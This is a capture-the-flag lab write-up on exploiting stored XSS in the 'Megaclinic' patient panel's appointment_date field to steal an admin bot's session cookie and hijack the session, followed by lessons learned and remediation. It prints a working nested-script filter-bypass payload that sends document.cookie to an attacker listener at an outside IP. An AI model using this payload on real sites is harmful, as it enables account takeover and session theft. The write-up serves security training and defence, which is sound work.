22.01.2026

> [CTF][C:CCE][#4] – Megaclinic CTF: Stored XSS leading to Admin Session Hijacking

, , , , ,

Executive Summary

This report details the exploitation of a Stored Cross-Site Scripting (XSS) vulnerability in the Megaclinic Patient Panel. The vulnerability existed within the appointment scheduling system, specifically the appointment_date parameter. By injecting a malicious JavaScript payload, I was able to execute code in the context of the Administrator’s browser, exfiltrate their session cookie, and hijack their session to gain administrative access and retrieve the flag.


Technical Walkthrough

1. Initial Access & Reconnaissance

I accessed the application on port 8080 and logged in with the provided credentials (dkubiak / dkubiak). The application allows patients to view their data and schedule appointments.

Knowing that an Administrator bot checks appointments periodically, I identified the „Plan Visit” (Zaplanuj wizytę) form as the primary attack vector.

2. Vulnerability Analysis & Payload Construction

I intercepted the appointment creation request using Burp Suite. My goal was to inject a JavaScript payload that would send the user’s document.cookie to my listening server.

I encountered a filter that required a specific bypass. I utilized a polyglot-style payload adapted from PayloadsAllTheThings, using nested script tags (<</script/script><script>) and eval().

The Challenge: The payload required string concatenation using the + character. However, because the injection point was inside a URL-encoded POST body, sending a raw + resulted in it being interpreted as a space. The Solution: I manually URL-encoded the + character to %2B.

Final Payload:

JavaScript

<</script/script><script>eval('new Image().src=\'http://10.111.0.206:9443/?cookie=\'%2Bdocument.cookie')//</script>

I injected this into the appointment_date parameter via Burp Repeater.

3. Exploitation (Cookie Theft)

Before sending the request, I verified my attacker IP address (10.111.0.206) and set up a Python HTTP server on port 9443 to catch the incoming connection.

I sent the malicious request. The appointment was successfully created and stored in the database. When viewed in the browser, the „Date” field appeared broken, indicating the HTML structure was disrupted by my payload, but the script executed in the background.

I waited for the Administrator simulation to check the appointments. Within a minute, my Python server received a GET request containing the Administrator’s PHPSESSID.

  • Stolen Cookie: 920691a63341c14595c40633a0c1faa7

4. Session Hijacking & Flag Retrieval

Armed with the admin cookie, I used the browser’s Developer Tools to replace my current session ID with the stolen one.

After refreshing the page, I was authenticated as Admin Admin. I navigated to the „Administration -> User Management” section. The flag was located in the „Email” field of the admin user.


Summary & Lessons Learned

  • Encoding Matters: The payload failed initially because + was interpreted as a space. Understanding context (URL encoding vs. JavaScript execution) was key to fixing the exploit with %2B.
  • Stored XSS Impact: This vulnerability demonstrates that „low severity” XSS can immediately lead to full system compromise (Account Takeover) when targeted against privileged users.
  • Sanitization Gaps: The application likely filtered standard <script> tags but failed to recursively remove nested tags (e.g., <</script...), allowing the bypass.

Remediation & Mitigation

To secure the application against this attack, the following steps are recommended:

  1. Input Validation & Output Encoding: Implement strict allow-listing for input (e.g., dates should only contain numbers and separators). Ensure all user-supplied data is HTML-encoded before being rendered in the browser.
  2. HttpOnly Cookies: Set the HttpOnly flag on the PHPSESSID cookie. This prevents JavaScript (including XSS payloads) from reading the cookie via document.cookie.
  3. Content Security Policy (CSP): Implement a robust CSP to restrict the sources from which scripts can be loaded and executed, preventing inline script execution.